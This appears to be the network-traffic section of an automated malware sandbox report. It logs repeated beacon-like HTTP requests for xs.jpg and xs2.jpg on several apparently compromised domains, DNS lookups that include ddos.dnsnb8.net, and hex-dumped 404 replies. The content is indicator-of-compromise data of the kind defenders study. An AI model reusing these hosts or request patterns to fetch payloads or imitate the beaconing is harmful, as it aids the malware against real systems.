                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?ff1499a4=-30854328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?96b3ddc7=-243051293 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159419|1720159208|4|47|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?e470f49d=1520810926 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159420|1720159209|4|47|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?229aaa09=-1392160211 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159420|1720159210|4|47|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?27505c3e=1978733754 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?438725f0=-1555596448 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?98336238=812041328 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159423|1720159208|4|48|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?254323e7=625157095 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159424|1720159209|4|48|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3c5dbe75=2025553130 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159424|1720159210|4|48|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?91511b59=-694843203 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d8491e75=1629780436 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?72476109=-460406254 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159428|1720159208|4|49|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?f4c69117=-1506506568 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159428|1720159209|4|49|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?84b746ce=-1910123414 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159429|1720159210|4|49|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?64deb2e=105769774 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?fa5e26a2=-188986044 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?11ea3939=-1589902591 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159432|1720159208|4|50|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?532c9a1d=1178089163 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159433|1720159209|4|50|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?c2b7c0a5=-2056289974 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159434|1720159210|4|50|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2f612ca7=1589795150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?8615d526=816752944 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?f93bde4c=-681101880 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159437|1720159208|4|51|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?bec5d02e=1011970186 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159438|1720159209|4|51|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?36d200da=303694914 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159438|1720159210|4|51|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?3510fe43=-1467485672 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?e9bb0874=558781576 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?45a3fb7=730234150 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159442|1720159208|4|52|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?b14fbec7=1003336959 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159442|1720159209|4|52|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?3c813930=1561082848 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159443|1720159210|4|52|0; snkz=8.46.123.33
                Source: global trafficHTTP traffic detected: GET /xs.jpg?2b0eedca=39424700 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ahmediye.netCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?d0e92fe1=-1580048446 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cache
                Source: global trafficHTTP traffic detected: GET /images/xs2.jpg?1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: ampyazilim.com.trCache-Control: no-cacheConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?6340f643=-263925937 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: www.careerdesk.orgCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159446|1720159208|4|53|0
                Source: global trafficHTTP traffic detected: GET /xs.jpg?4fd89b2a=-552361220 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: arthur.niria.bizCache-Control: no-cacheCookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159447|1720159209|4|53|0
                Source: global trafficHTTP traffic detected: GET /images/xs.jpg?b092bd4e=891856830 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)Host: apple-pie.inCache-Control: no-cacheCookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159447|1720159210|4|53|0; snkz=8.46.123.33
                Source: global trafficDNS traffic detected: DNS query: althawry.org
                Source: global trafficDNS traffic detected: DNS query: ddos.dnsnb8.net
                Source: global trafficDNS traffic detected: DNS query: www.careerdesk.org
                Source: global trafficDNS traffic detected: DNS query: arthur.niria.biz
                Source: global trafficDNS traffic detected: DNS query: amsamex.com
                Source: global trafficDNS traffic detected: DNS query: apple-pie.in
                Source: global trafficDNS traffic detected: DNS query: ahmediye.net
                Source: global trafficDNS traffic detected: DNS query: g2.arrowhitech.com
                Source: global trafficDNS traffic detected: DNS query: ampyazilim.com.tr
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:11 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:15 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:20 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:27 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:31 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:35 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:39 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:43 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
                Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 05 Jul 2024 06:00:50 GMTServer: ApacheContent-Length: 258Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>
